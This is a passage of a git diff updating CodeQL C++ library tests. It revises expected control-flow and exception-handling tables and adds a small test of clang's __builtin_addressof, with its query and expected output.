| call to c109.~C | -| f | false | 587 | 587 | c101 | -| f | false | 588 | 588 | call to c101.~C | -| f | false | 589 | 589 | c105 | -| f | false | 590 | 590 | call to c105.~C | -| f | false | 591 | 591 | c108 | -| f | false | 593 | 593 | call to c108.~C | -| f | false | 594 | 594 | c106 | -| f | false | 596 | 596 | call to c106.~C | -| f | false | 597 | 597 | c107 | -| f | false | 598 | 598 | call to c107.~C | -| f | false | 599 | 599 | c106 | -| f | false | 600 | 600 | call to c106.~C | -| f | false | 601 | 601 | c104 | -| f | false | 603 | 603 | call to c104.~C | -| f | false | 604 | 604 | c102 | -| f | false | 606 | 606 | call to c102.~C | -| f | false | 607 | 607 | c103 | -| f | false | 608 | 608 | call to c103.~C | -| f | false | 609 | 609 | c102 | -| f | false | 610 | 610 | call to c102.~C | -| f | true | 422 | 493 | | -| f | true | 426 | 422 | | -| f | true | 427 | 426 | | -| f | true | 431 | 427 | | -| f | true | 434 | 468 | | -| f | true | 438 | 434 | | -| f | true | 439 | 438 | | -| f | true | 444 | 607 | | -| f | true | 448 | 444 | | -| f | true | 449 | 448 | | -| f | true | 453 | 439 | | -| f | true | 455 | 466 | T | -| f | true | 455 | 470 | F | -| f | true | 461 | 462 | | -| f | true | 462 | 609 | | -| f | true | 464 | 461 | | -| f | true | 466 | 464 | | -| f | true | 468 | 455 | | -| f | true | 470 | 449 | | -| f | true | 472 | 453 | | -| f | true | 478 | 491 | T | -| f | true | 480 | 601 | | -| f | true | 484 | 480 | | -| f | true | 485 | 484 | | -| f | true | 489 | 485 | | -| f | true | 491 | 489 | | -| f | true | 493 | 472 | | -| f | true | 496 | 562 | | -| f | true | 500 | 496 | | -| f | true | 501 | 500 | | +| f | false | 548 | 548 | __try { ... } __except( ... ) { ... } | +| f | false | 550 | 550 | declaration | +| f | false | 553 | 553 | call to C | +| f | false | 557 | 557 | 106 | +| f | false | 558 | 558 | initializer for c106 | +| f | false | 562 | 562 | call to C | +| f | false | 566 | 566 | 107 | +| f | false | 567 | 567 | initializer for c107 | +| f | false | 570 | 570 | declaration | +| f | false | 572 | 572 | b2 | +| f | false | 574 | 574 | (bool)... | +| f | false | 577 | 577 | 2 | +| f | false | 578 | 578 | throw ... | +| f | false | 580 | 580 | ExprStmt | +| f | false | 582 | 582 | { ... } | +| f | false | 584 | 584 | if (...) ... | +| f | false | 586 | 586 | declaration | +| f | false | 588 | 588 | { ... } | +| f | false | 591 | 591 | call to C | +| f | false | 595 | 595 | 108 | +| f | false | 596 | 596 | initializer for c108 | +| f | false | 599 | 599 | declaration | +| f | false | 601 | 601 | { ... } | +| f | false | 603 | 603 | __try { ... } __finally { ... } | +| f | false | 605 | 605 | declaration | +| f | false | 607 | 607 | return ... | +| f | false | 609 | 609 | { ... } | +| f | false | 611 | 611 | c101 | +| f | false | 613 | 613 | call to c101.~C | +| f | false | 615 | 615 | c105 | +| f | false | 616 | 616 | call to c105.~C | +| f | false | 617 | 617 | c109 | +| f | false | 618 | 618 | call to c109.~C | +| f | false | 619 | 619 | c101 | +| f | false | 620 | 620 | call to c101.~C | +| f | false | 621 | 621 | c105 | +| f | false | 622 | 622 | call to c105.~C | +| f | false | 623 | 623 | c108 | +| f | false | 625 | 625 | call to c108.~C | +| f | false | 626 | 626 | c106 | +| f | false | 628 | 628 | call to c106.~C | +| f | false | 629 | 629 | c107 | +| f | false | 630 | 630 | call to c107.~C | +| f | false | 631 | 631 | c106 | +| f | false | 632 | 632 | call to c106.~C | +| f | false | 633 | 633 | c104 | +| f | false | 635 | 635 | call to c104.~C | +| f | false | 636 | 636 | c102 | +| f | false | 638 | 638 | call to c102.~C | +| f | false | 639 | 639 | c103 | +| f | false | 640 | 640 | call to c103.~C | +| f | false | 641 | 641 | c102 | +| f | false | 642 | 642 | call to c102.~C | +| f | false | 644 | 644 | call to C | +| f | false | 648 | 648 | 101 | +| f | false | 649 | 649 | initializer for c101 | +| f | false | 653 | 653 | call to C | +| f | false | 657 | 657 | 105 | +| f | false | 658 | 658 | initializer for c105 | +| f | false | 662 | 662 | call to C | +| f | false | 666 | 666 | 109 | +| f | false | 667 | 667 | initializer for c109 | +| f | true | 488 | 649 | | +| f | true | 491 | 523 | | +| f | true | 496 | 491 | | +| f | true | 497 | 496 | | +| f | true | 501 | 639 | | | f | true | 505 | 501 | | -| f | true | 508 | 542 | | -| f | true | 512 | 508 | | -| f | true | 513 | 512 | | -| f | true | 518 | 597 | | -| f | true | 522 | 518 | | -| f | true | 523 | 522 | | -| f | true | 527 | 513 | | -| f | true | 529 | 540 | T | -| f | true | 529 | 544 | F | -| f | true | 535 | 536 | | -| f | true | 536 | 599 | | -| f | true | 538 | 535 | | -| f | true | 540 | 538 | | -| f | true | 542 | 529 | | -| f | true | 544 | 523 | | -| f | true | 546 | 527 | | -| f | true | 549 | 591 | | -| f | true | 553 | 549 | | -| f | true | 554 | 553 | | -| f | true | 558 | 554 | | -| f | true | 560 | 558 | | -| f | true | 562 | 546 | | -| f | true | 565 | 576 | | -| f | true | 569 | 565 | | -| f | true | 570 | 569 | | -| f | true | 574 | 570 | | -| f | true | 576 | 585 | | -| f | true | 578 | 431 | | -| f | true | 580 | 582 | | -| f | true | 582 | 416 | | -| f | true | 583 | 584 | | -| f | true | 584 | 580 | | -| f | true | 585 | 586 | | -| f | true | 586 | 583 | | -| f | true | 587 | 588 | | -| f | true | 588 | 416 | | -| f | true | 589 | 590 | | -| f | true | 590 | 587 | | -| f | true | 591 | 593 | | -| f | true | 593 | 574 | | -| f | true | 593 | 589 | | -| f | true | 594 | 596 | | -| f | true | 596 | 560 | | -| f | true | 597 | 598 | | -| f | true | 598 | 594 | | -| f | true | 599 | 600 | | -| f | true | 600 | 560 | | -| f | true | 601 | 603 | | -| f | true | 603 | 505 | | -| f | true | 604 | 606 | | -| f | true | 606 | 505 | | -| f | true | 607 | 608 | | -| f | true | 608 | 604 | | -| f | true | 609 | 610 | | -| f | true | 610 | 478 | | -| f1 | false | 213 | 213 | f1 | -| f2 | false | 216 | 216 | f2 | -| f3 | false | 219 | 219 | f3 | -| f4 | false | 222 | 222 | f4 | -| f4 | false | 225 | 225 | return ... | -| f4 | false | 227 | 227 | { ... } | -| f4 | true | 225 | 222 | | -| f4 | true | 227 | 225 | | -| f5 | false | 230 | 230 | f5 | -| f5 | false | 235 | 235 | 3 | -| f5 | false | 236 | 236 | throw ... | -| f5 | false | 238 | 238 | ExprStmt | -| f5 | false | 240 | 240 | { ... } | -| f5 | true | 235 | 236 | | -| f5 | true | 236 | 230 | | -| f5 | true | 238 | 235 | | -| f5 | true | 240 | 238 | | -| fun | false | 267 | 267 | fun | -| fun | false | 272 | 272 | call to f1 | -| fun | false | 274 | 274 | ExprStmt | -| fun | false | 276 | 276 | call to f2 | -| fun | false | 278 | 278 | ExprStmt | -| fun | false | 280 | 280 | call to f3 | -| fun | false | 282 | 282 | ExprStmt | -| fun | false | 284 | 284 | call to f4 | -| fun | false | 286 | 286 | ExprStmt | -| fun | false | 288 | 288 | call to f5 | -| fun | false | 290 | 290 | ExprStmt | -| fun | false | 294 | 294 | 5 | -| fun | false | 295 | 295 | throw ... | +| f | true | 506 | 505 | | +| f | true | 509 | 497 | | +| f | true | 511 | 521 | T | +| f | true | 511 | 525 | F | +| f | true | 516 | 517 | | +| f | true | 517 | 641 | | +| f | true | 519 | 516 | | +| f | true | 521 | 519 | | +| f | true | 523 | 511 | | +| f | true | 525 | 506 | | +| f | true | 527 | 509 | | +| f | true | 534 | 546 | T | +| f | true | 536 | 633 | | +| f | true | 540 | 536 | | +| f | true | 541 | 540 | | +| f | true | 544 | 541 | | +| f | true | 546 | 544 | | +| f | true | 548 | 527 | | +| f | true | 550 | 658 | | +| f | true | 553 | 584 | | +| f | true | 557 | 553 | | +| f | true | 558 | 557 | | +| f | true | 562 | 629 | | +| f | true | 566 | 562 | | +| f | true | 567 | 566 | | +| f | true | 570 | 558 | | +| f | true | 572 | 582 | T | +| f | true | 572 | 586 | F | +| f | true | 577 | 578 | | +| f | true | 578 | 631 | | +| f | true | 580 | 577 | | +| f | true | 582 | 580 | | +| f | true | 584 | 572 | | +| f | true | 586 | 567 | | +| f | true | 588 | 570 | | +| f | true | 591 | 623 | | +| f | true | 595 | 591 | | +| f | true | 596 | 595 | | +| f | true | 599 | 596 | | +| f | true | 601 | 599 | | +| f | true | 603 | 588 | | +| f | true | 605 | 667 | | +| f | true | 607 | 617 | | +| f | true | 609 | 488 | | +| f | true | 611 | 613 | | +| f | true | 613 | 477 | | +| f | true | 615 | 616 | | +| f | true | 616 | 611 | | +| f | true | 617 | 618 | | +| f | true | 618 | 615 | | +| f | true | 619 | 620 | | +| f | true | 620 | 477 | | +| f | true | 621 | 622 | | +| f | true | 622 | 619 | | +| f | true | 623 | 625 | | +| f | true | 625 | 605 | | +| f | true | 625 | 621 | | +| f | true | 626 | 628 | | +| f | true | 628 | 601 | | +| f | true | 629 | 630 | | +| f | true | 630 | 626 | | +| f | true | 631 | 632 | | +| f | true | 632 | 601 | | +| f | true | 633 | 635 | | +| f | true | 635 | 550 | | +| f | true | 636 | 638 | | +| f | true | 638 | 550 | | +| f | true | 639 | 640 | | +| f | true | 640 | 636 | | +| f | true | 641 | 642 | | +| f | true | 642 | 534 | | +| f | true | 644 | 548 | | +| f | true | 648 | 644 | | +| f | true | 649 | 648 | | +| f | true | 653 | 603 | | +| f | true | 657 | 653 | | +| f | true | 658 | 657 | | +| f | true | 662 | 607 | | +| f | true | 666 | 662 | | +| f | true | 667 | 666 | | +| f1 | false | 292 | 292 | f1 | +| f2 | false | 299 | 299 | f2 | +| f3 | false | 304 | 304 | f3 | +| f4 | false | 309 | 309 | f4 | +| f4 | false | 433 | 433 | return ... | +| f4 | false | 435 | 435 | { ... } | +| f4 | true | 433 | 309 | | +| f4 | true | 435 | 433 | | +| f5 | false | 314 | 314 | f5 | +| f5 | false | 422 | 422 | 3 | +| f5 | false | 423 | 423 | throw ... | +| f5 | false | 425 | 425 | ExprStmt | +| f5 | false | 427 | 427 | { ... } | +| f5 | true | 422 | 423 | | +| f5 | true | 423 | 314 | | +| f5 | true | 425 | 422 | | +| f5 | true | 427 | 425 | | +| fun | false | 287 | 287 | fun | +| fun | false | 295 | 295 | call to f1 | | fun | false | 297 | 297 | ExprStmt | -| fun | false | 299 | 299 | call to g | -| fun | false | 301 | 301 | ExprStmt | -| fun | false | 303 | 303 | { ... } | -| fun | false | 308 | 308 | call to h | -| fun | false | 310 | 310 | ExprStmt | -| fun | false | 312 | 312 | { ... } | -| fun | false | 314 | 314 | | -| fun | false | 315 | 315 | try { ... } | -| fun | false | 317 | 317 | { ... } | -| fun | false | 322 | 322 | call to i | +| fun | false | 300 | 300 | call to f2 | +| fun | false | 302 | 302 | ExprStmt | +| fun | false | 305 | 305 | call to f3 | +| fun | false | 307 | 307 | ExprStmt | +| fun | false | 310 | 310 | call to f4 | +| fun | false | 312 | 312 | ExprStmt | +| fun | false | 315 | 315 | call to f5 | +| fun | false | 317 | 317 | ExprStmt | +| fun | false | 321 | 321 | 5 | +| fun | false | 322 | 322 | throw ... | | fun | false | 324 | 324 | ExprStmt | -| fun | false | 326 | 326 | { ... } | -| fun | false | 331 | 331 | call to j | -| fun | false | 333 | 333 | ExprStmt | -| fun | false | 335 | 335 | { ... } | -| fun | false | 337 | 337 | | -| fun | false | 338 | 338 | | -| fun | false | 339 | 339 | try { ... } | -| fun | false | 341 | 341 | call to k | -| fun | false | 343 | 343 | ExprStmt | -| fun | false | 347 | 347 | 7 | -| fun | false | 348 | 348 | throw ... | -| fun | false | 350 | 350 | ExprStmt | -| fun | false | 352 | 352 | { ... } | -| fun | false | 357 | 357 | call to l | -| fun | false | 359 | 359 | ExprStmt | -| fun | false | 361 | 361 | { ... } | -| fun | false | 363 | 363 | call to m | -| fun | false | 365 | 365 | ExprStmt | -| fun | false | 367 | 367 | { ... } | +| fun | false | 327 | 327 | call to g | +| fun | false | 329 | 329 | ExprStmt | +| fun | false | 331 | 331 | { ... } | +| fun | false | 337 | 337 | call to h | +| fun | false | 339 | 339 | ExprStmt | +| fun | false | 341 | 341 | { ... } | +| fun | false | 343 | 343 | | +| fun | false | 344 | 344 | try { ... } | +| fun | false | 346 | 346 | { ... } | +| fun | false | 352 | 352 | call to i | +| fun | false | 354 | 354 | ExprStmt | +| fun | false | 356 | 356 | { ... } | +| fun | false | 362 | 362 | call to j | +| fun | false | 364 | 364 | ExprStmt | +| fun | false | 366 | 366 | { ... } | +| fun | false | 368 | 368 | | | fun | false | 369 | 369 | | -| fun | false | 370 | 370 | | -| fun | false | 371 | 371 | try { ... } | -| fun | false | 373 | 373 | call to n | +| fun | false | 370 | 370 | try { ... } | +| fun | false | 373 | 373 | call to k | | fun | false | 375 | 375 | ExprStmt | -| fun | false | 377 | 377 | return ... | -| fun | false | 379 | 379 | { ... } | -| fun | true | 272 | 278 | | -| fun | true | 274 | 272 | | -| fun | true | 276 | 282 | | -| fun | true | 278 | 276 | | -| fun | true | 280 | 286 | | -| fun | true | 282 | 280 | | -| fun | true | 284 | 290 | | -| fun | true | 286 | 284 | | -| fun | true | 290 | 288 | | -| fun | true | 294 | 295 | | -| fun | true | 295 | 314 | | -| fun | true | 297 | 294 | | -| fun | true | 299 | 343 | | -| fun | true | 301 | 299 | | -| fun | true | 303 | 274 | | -| fun | true | 308 | 343 | | -| fun | true | 310 | 308 | | +| fun | false | 379 | 379 | 7 | +| fun | false | 380 | 380 | throw ... | +| fun | false | 382 | 382 | ExprStmt | +| fun | false | 384 | 384 | { ... } | +| fun | false | 390 | 390 | call to l | +| fun | false | 392 | 392 | ExprStmt | +| fun | false | 394 | 394 | { ... } | +| fun | false | 397 | 397 | call to m | +| fun | false | 399 | 399 | ExprStmt | +| fun | false | 401 | 401 | { ... } | +| fun | false | 403 | 403 | | +| fun | false | 404 | 404 | | +| fun | false | 405 | 405 | try { ... } | +| fun | false | 408 | 408 | call to n | +| fun | false | 410 | 410 | ExprStmt | +| fun | false | 412 | 412 | return ... | +| fun | false | 414 | 414 | { ... } | +| fun | true | 295 | 302 | | +| fun | true | 297 | 295 | | +| fun | true | 300 | 307 | | +| fun | true | 302 | 300 | | +| fun | true | 305 | 312 | | +| fun | true | 307 | 305 | | +| fun | true | 310 | 317 | | | fun | true | 312 | 310 | | -| fun | true | 314 | 312 | | -| fun | true | 314 | 337 | | -| fun | true | 315 | 303 | | | fun | true | 317 | 315 | | +| fun | true | 321 | 322 | | | fun | true | 322 | 343 | | -| fun | true | 324 | 322 | | -| fun | true | 326 | 324 | | -| fun | true | 331 | 343 | | -| fun | true | 333 | 331 | | -| fun | true | 335 | 333 | | -| fun | true | 337 | 326 | | -| fun | true | 337 | 338 | | -| fun | true | 338 | 267 | | -| fun | true | 338 | 335 | | -| fun | true | 339 | 317 | | -| fun | true | 341 | 371 | | +| fun | true | 324 | 321 | | +| fun | true | 327 | 375 | | +| fun | true | 329 | 327 | | +| fun | true | 331 | 297 | | +| fun | true | 337 | 375 | | +| fun | true | 339 | 337 | | +| fun | true | 341 | 339 | | | fun | true | 343 | 341 | | -| fun | true | 347 | 348 | | -| fun | true | 348 | 369 | | -| fun | true | 350 | 347 | | -| fun | true | 352 | 350 | | -| fun | true | 357 | 375 | | -| fun | true | 359 | 357 | | -| fun | true | 361 | 359 | | -| fun | true | 363 | 375 | | -| fun | true | 365 | 363 | | -| fun | true | 367 | 365 | | -| fun | true | 369 | 361 | | -| fun | true | 369 | 370 | | -| fun | true | 370 | 367 | | -| fun | true | 371 | 352 | | -| fun | true | 373 | 377 | | +| fun | true | 343 | 368 | | +| fun | true | 344 | 331 | | +| fun | true | 346 | 344 | | +| fun | true | 352 | 375 | | +| fun | true | 354 | 352 | | +| fun | true | 356 | 354 | | +| fun | true | 362 | 375 | | +| fun | true | 364 | 362 | | +| fun | true | 366 | 364 | | +| fun | true | 368 | 356 | | +| fun | true | 368 | 369 | | +| fun | true | 369 | 287 | | +| fun | true | 369 | 366 | | +| fun | true | 370 | 346 | | +| fun | true | 373 | 405 | | | fun | true | 375 | 373 | | -| fun | true | 377 | 267 | | -| fun | true | 379 | 339 | | -| fun2 | false | 101 | 101 | fun2 | -| fun2 | false | 105 | 105 | { ... } | -| fun2 | false | 108 | 108 | re-throw exception | -| fun2 | false | 110 | 110 | ExprStmt | -| fun2 | false | 112 | 112 | { ... } | -| fun2 | false | 116 | 116 | 1 | -| fun2 | false | 117 | 117 | return ... | -| fun2 | false | 119 | 119 | { ... } | -| fun2 | false | 121 | 121 | | -| fun2 | false | 122 | 122 | | -| fun2 | false | 123 | 123 | try { ... } | -| fun2 | false | 127 | 127 | 0 | -| fun2 | false | 128 | 128 | return ... | -| fun2 | false | 130 | 130 | { ... } | -| fun2 | false | 141 | 141 | fun2 | -| fun2 | false | 144 | 144 | { ... } | -| fun2 | false | 150 | 150 | re-throw exception | -| fun2 | false | 152 | 152 | ExprStmt | -| fun2 | false | 154 | 154 | { ... } | -| fun2 | false | 157 | 157 | 1 | -| fun2 | false | 158 | 158 | return ... | -| fun2 | false | 160 | 160 | { ... } | -| fun2 | false | 162 | 162 | | -| fun2 | false | 163 | 163 | | -| fun2 | false | 164 | 164 | try { ... } | -| fun2 | false | 167 | 167 | 0 | -| fun2 | false | 168 | 168 | return ... | -| fun2 | false | 170 | 170 | { ... } | -| fun2 | true | 105 | 128 | | -| fun2 | true | 108 | 101 | | -| fun2 | true | 110 | 108 | | -| fun2 | true | 112 | 110 | | -| fun2 | true | 116 | 101 | | -| fun2 | true | 117 | 116 | | -| fun2 | true | 119 | 117 | | -| fun2 | true | 121 | 112 | | -| fun2 | true | 121 | 122 | | -| fun2 | true | 122 | 119 | | -| fun2 | true | 123 | 105 | | -| fun2 | true | 127 | 101 | | -| fun2 | true | 128 | 127 | | -| fun2 | true | 130 | 123 | | -| fun2 | true | 144 | 168 | | -| fun2 | true | 150 | 141 | | -| fun2 | true | 152 | 150 | | -| fun2 | true | 154 | 152 | | -| fun2 | true | 157 | 141 | | -| fun2 | true | 158 | 157 | | -| fun2 | true | 160 | 158 | | -| fun2 | true | 162 | 154 | | -| fun2 | true | 162 | 163 | | -| fun2 | true | 163 | 160 | | -| fun2 | true | 164 | 144 | | -| fun2 | true | 167 | 141 | | -| fun2 | true | 168 | 167 | | -| fun2 | true | 170 | 164 | | -| g | false | 243 | 243 | g | -| h | false | 246 | 246 | h | -| i | false | 249 | 249 | i | -| j | false | 252 | 252 | j | -| k | false | 255 | 255 | k | -| l | false | 258 | 258 | l | -| m | false | 261 | 261 | m | -| n | false | 264 | 264 | n | -| run_fun2 | false | 136 | 136 | run_fun2 | -| run_fun2 | false | 172 | 172 | call to fun2 | -| run_fun2 | false | 174 | 174 | ExprStmt | -| run_fun2 | false | 176 | 176 | return ... | -| run_fun2 | false | 178 | 178 | { ... } | -| run_fun2 | true | 172 | 176 | | -| run_fun2 | true | 174 | 172 | | -| run_fun2 | true | 176 | 136 | | -| run_fun2 | true | 178 | 174 | | +| fun | true | 379 | 380 | | +| fun | true | 380 | 403 | | +| fun | true | 382 | 379 | | +| fun | true | 384 | 382 | | +| fun | true | 390 | 410 | | +| fun | true | 392 | 390 | | +| fun | true | 394 | 392 | | +| fun | true | 397 | 410 | | +| fun | true | 399 | 397 | | +| fun | true | 401 | 399 | | +| fun | true | 403 | 394 | | +| fun | true | 403 | 404 | | +| fun | true | 404 | 401 | | +| fun | true | 405 | 384 | | +| fun | true | 408 | 412 | | +| fun | true | 410 | 408 | | +| fun | true | 412 | 287 | | +| fun | true | 414 | 370 | | +| fun2 | false | 204 | 204 | fun2 | +| fun2 | false | 215 | 215 | fun2 | +| fun2 | false | 218 | 218 | { ... } | +| fun2 | false | 223 | 223 | re-throw exception | +| fun2 | false | 225 | 225 | ExprStmt | +| fun2 | false | 227 | 227 | { ... } | +| fun2 | false | 231 | 231 | 1 | +| fun2 | false | 232 | 232 | return ... | +| fun2 | false | 234 | 234 | { ... } | +| fun2 | false | 236 | 236 | | +| fun2 | false | 237 | 237 | | +| fun2 | false | 238 | 238 | try { ... } | +| fun2 | false | 242 | 242 | 0 | +| fun2 | false | 243 | 243 | return ... | +| fun2 | false | 245 | 245 | { ... } | +| fun2 | false | 702 | 702 | { ... } | +| fun2 | false | 707 | 707 | re-throw exception | +| fun2 | false | 708 | 708 | ExprStmt | +| fun2 | false | 709 | 709 | { ... } | +| fun2 | false | 711 | 711 | 1 | +| fun2 | false | 712 | 712 | return ... | +| fun2 | false | 713 | 713 | { ... } | +| fun2 | false | 714 | 714 | | +| fun2 | false | 715 | 715 | | +| fun2 | false | 716 | 716 | try { ... } | +| fun2 | false | 718 | 718 | 0 | +| fun2 | false | 719 | 719 | return ... | +| fun2 | false | 720 | 720 | { ... } | +| fun2 | true | 218 | 243 | | +| fun2 | true | 223 | 215 | | +| fun2 | true | 225 | 223 | | +| fun2 | true | 227 | 225 | | +| fun2 | true | 231 | 215 | | +| fun2 | true | 232 | 231 | | +| fun2 | true | 234 | 232 | | +| fun2 | true | 236 | 227 | | +| fun2 | true | 236 | 237 | | +| fun2 | true | 237 | 234 | | +| fun2 | true | 238 | 218 | | +| fun2 | true | 242 | 215 | | +| fun2 | true | 243 | 242 | | +| fun2 | true | 245 | 238 | | +| fun2 | true | 702 | 719 | | +| fun2 | true | 707 | 204 | | +| fun2 | true | 708 | 707 | | +| fun2 | true | 709 | 708 | | +| fun2 | true | 711 | 204 | | +| fun2 | true | 712 | 711 | | +| fun2 | true | 713 | 712 | | +| fun2 | true | 714 | 709 | | +| fun2 | true | 714 | 715 | | +| fun2 | true | 715 | 713 | | +| fun2 | true | 716 | 702 | | +| fun2 | true | 718 | 204 | | +| fun2 | true | 719 | 718 | | +| fun2 | true | 720 | 716 | | +| g | false | 326 | 326 | g | +| h | false | 336 | 336 | h | +| i | false | 351 | 351 | i | +| j | false | 361 | 361 | j | +| k | false | 372 | 372 | k | +| l | false | 389 | 389 | l | +| m | false | 396 | 396 | m | +| n | false | 407 | 407 | n | +| run_fun2 | false | 199 | 199 | run_fun2 | +| run_fun2 | false | 207 | 207 | call to fun2 | +| run_fun2 | false | 209 | 209 | ExprStmt | +| run_fun2 | false | 211 | 211 | return ... | +| run_fun2 | false | 213 | 213 | { ... } | +| run_fun2 | true | 207 | 211 | | +| run_fun2 | true | 209 | 207 | | +| run_fun2 | true | 211 | 199 | | +| run_fun2 | true | 213 | 209 | | diff --git a/cpp/ql/test/library-tests/c++_exceptions/handler.expected b/cpp/ql/test/library-tests/c++_exceptions/handler.expected index b83c9c5c170..114ef8b0dc3 100644 --- a/cpp/ql/test/library-tests/c++_exceptions/handler.expected +++ b/cpp/ql/test/library-tests/c++_exceptions/handler.expected @@ -1,6 +1,7 @@ | ODASA-5692.cpp:11:18:13:3 | | getBlock | ODASA-5692.cpp:11:18:13:3 | { ... } | | ODASA-5692.cpp:11:18:13:3 | | getBlock | ODASA-5692.cpp:11:18:13:3 | { ... } | | ODASA-5692.cpp:11:18:13:3 | | getParameter | ODASA-5692.cpp:11:10:11:14 | p#0 | +| ODASA-5692.cpp:11:18:13:3 | | getParameter | ODASA-5692.cpp:11:10:11:14 | p#0 | | ODASA-5692.cpp:11:18:13:3 | | getTryStmt | ODASA-5692.cpp:9:3:10:3 | try { ... } | | ODASA-5692.cpp:11:18:13:3 | | getTryStmt | ODASA-5692.cpp:9:3:10:3 | try { ... } | | ODASA-5692.cpp:11:18:13:3 | | getTryStmt.getACatchClause() | ODASA-5692.cpp:11:18:13:3 | { ... } | diff --git a/cpp/ql/test/library-tests/clang_builtin_macros/addressof.c b/cpp/ql/test/library-tests/clang_builtin_macros/addressof.c new file mode 100644 index 00000000000..becaef159cc --- /dev/null +++ b/cpp/ql/test/library-tests/clang_builtin_macros/addressof.c @@ -0,0 +1,8 @@ +// semmle-extractor-options: --edg --clang + +int x = 0; + +int* f(void) { + int* x_addr = __builtin_addressof(x); + return x_addr; +} diff --git a/cpp/ql/test/library-tests/clang_builtin_macros/addressof.expected b/cpp/ql/test/library-tests/clang_builtin_macros/addressof.expected new file mode 100644 index 00000000000..62c43a08f68 --- /dev/null +++ b/cpp/ql/test/library-tests/clang_builtin_macros/addressof.expected @@ -0,0 +1 @@ +| addressof.c:6:17:6:38 | __builtin_addressof ... | addressof.c:6:37:6:37 | x | diff --git a/cpp/ql/test/library-tests/clang_builtin_macros/addressof.ql b/cpp/ql/test/library-tests/clang_builtin_macros/addressof.ql new file mode 100644 index 00000000000..42a1f1e563a --- /dev/null +++ b/cpp/ql/test/library-tests/clang_builtin_macros/addressof.ql @@ -0,0 +1,4 @@ +import cpp + +from BuiltInOperationBuiltInAddressOf op +select op, op.getOperand() diff --git a/cpp/ql/test/library-tests/clang_builtin_macros/values.expected b/cpp/ql/test/library-tests/clang_builtin_macros/values.expected index 5e33ee8c946..e8f119eace5 100644 --- a/cpp/ql/test/library-tests/clang_builtin_macros/values.expected +++ b/cpp/ql/test/library-tests/clang_builtin_macros/values.expected @@ -1,7 +1,9 @@ -| | fp_offset | | -| | gp_offset | | -| | overflow_arg_area | | -| | reg_save_area | | +| | fp_offset | | +| | gp_offset | | +| | overflow_arg_area | | +| | reg_save_area | | +| addressof.c | x | 0 | +| addressof.c | x_addr | __builtin_addressof ... | | extended.cpp | has_nullptr_e | 1 | | extended.cpp | has_nullptr_f | 1 | | gcc492.c | has_include | 1 | diff --git a/cpp/ql/test/library-tests/clang_builtin_macros/values.ql b/cpp/ql/test/library-tests/clang_builtin_macros/values.ql index a5ac1514a9b..70fba76eb39 100644 --- a/cpp/ql/test/library-tests/clang_builtin_macros/values.ql +++ b/cpp/ql/test/library-tests/clang_builtin_macros/values.ql @@ -1,9 +1,9 @@ import cpp string varInit(Variable v) { - if exists(v.getInitializer().getExpr().getValue()) - then result = v.getInitializer().getExpr().getValue().toString() - else result = "" + if exists(v.getInitializer().getExpr()) + then result = v.getInitializer().getExpr().toString() + else result = "" } from Variable v diff --git a/cpp/ql/test/library-tests/clang_ms/element.expected b/cpp/ql/test/library-tests/clang_ms/element.expected index 763649f774f..a44924bcbc7 100644 --- a/cpp/ql/test/library-tests/clang_ms/element.expected +++ b/cpp/ql/test/library-tests/clang_ms/element.expected @@ -51,6 +51,7 @@ | file://:0:0:0:0 | __uptr | | file://:0:0:0:0 | __va_list_tag | | file://:0:0:0:0 | __va_list_tag & | +| file://:0:0:0:0 | __va_list_tag && | | file://:0:0:0:0 | abstract | | file://:0:0:0:0 | atomic | | file://:0:0:0:0 | auto | @@ -60,12 +61,13 @@ | file://:0:0:0:0 | char16_t | | file://:0:0:0:0 | char32_t | | file://:0:0:0:0 | const | +| file://:0:0:0:0 | const __va_list_tag | +| file://:0:0:0:0 | const __va_list_tag & | | file://:0:0:0:0 | const mystruct | | file://:0:0:0:0 | const mystruct & | | file://:0:0:0:0 | declaration of 1st parameter | | file://:0:0:0:0 | declaration of 1st parameter | | file://:0:0:0:0 | decltype(nullptr) | -| file://:0:0:0:0 | definition of __va_list_tag | | file://:0:0:0:0 | definition of fp_offset | | file://:0:0:0:0 | definition of gp_offset | | file://:0:0:0:0 | definition of overflow_arg_area | @@ -104,6 +106,8 @@ | file://:0:0:0:0 | override | | file://:0:0:0:0 | p#0 | | file://:0:0:0:0 | p#0 | +| file://:0:0:0:0 | p#0 | +| file://:0:0:0:0 | p#0 | | file://:0:0:0:0 | private | | file://:0:0:0:0 | protected | | file://:0:0:0:0 | public | diff --git a/cpp/ql/test/library-tests/classes/base_classes/base_classes.cpp b/cpp/ql/test/library-tests/classes/base_classes/base_classes.cpp index 48da325c7bd..b4fdb7da1be 100644 --- a/cpp/ql/test/library-tests/classes/base_classes/base_classes.cpp +++ b/cpp/ql/test/library-tests/classes/base_classes/base_classes.cpp @@ -9,8 +9,7 @@ template struct S : indirect::real { }; /* -Currently 'indirect' isn't in the database; the base class is -simply 'empty'. We might want to also include 'indirect', with a +Currently S's base class is simply 'empty'. We might want a way to reach the unevaluated 'indirect::real'. */ diff --git a/cpp/ql/test/library-tests/classes/base_classes/base_classes.expected b/cpp/ql/test/library-tests/classes/base_classes/base_classes.expected index eb6db93c3bf..ed3c8ce78eb 100644 --- a/cpp/ql/test/library-tests/classes/base_classes/base_classes.expected +++ b/cpp/ql/test/library-tests/classes/base_classes/base_classes.expected @@ -1,5 +1,6 @@ | base_classes.cpp:1:8:1:12 | empty | | | base_classes.cpp:4:8:4:15 | indirect | | +| base_classes.cpp:4:8:4:15 | indirect | | | base_classes.cpp:9:8:9:8 | S | empty | | base_classes.cpp:9:8:9:8 | S | empty | | file://:0:0:0:0 | __va_list_tag | | diff --git a/cpp/ql/test/library-tests/conditions/elements.expected b/cpp/ql/test/library-tests/conditions/elements.expected index 3a4d6ced0ed..ec507ee9a92 100644 --- a/cpp/ql/test/library-tests/conditions/elements.expected +++ b/cpp/ql/test/library-tests/conditions/elements.expected @@ -30,6 +30,7 @@ | file://:0:0:0:0 | __uptr | | file://:0:0:0:0 | __va_list_tag | | file://:0:0:0:0 | __va_list_tag & | +| file://:0:0:0:0 | __va_list_tag && | | file://:0:0:0:0 | abstract | | file://:0:0:0:0 | atomic | | file://:0:0:0:0 | auto | @@ -39,9 +40,10 @@ | file://:0:0:0:0 | char16_t | | file://:0:0:0:0 | char32_t | | file://:0:0:0:0 | const | +| file://:0:0:0:0 | const __va_list_tag | +| file://:0:0:0:0 | const __va_list_tag & | | file://:0:0:0:0 | decltype(nullptr) | | file://:0:0:0:0 | definition of | -| file://:0:0:0:0 | definition of __va_list_tag | | file://:0:0:0:0 | definition of fp_offset | | file://:0:0:0:0 | definition of gp_offset | | file://:0:0:0:0 | definition of overflow_arg_area | @@ -77,6 +79,8 @@ | 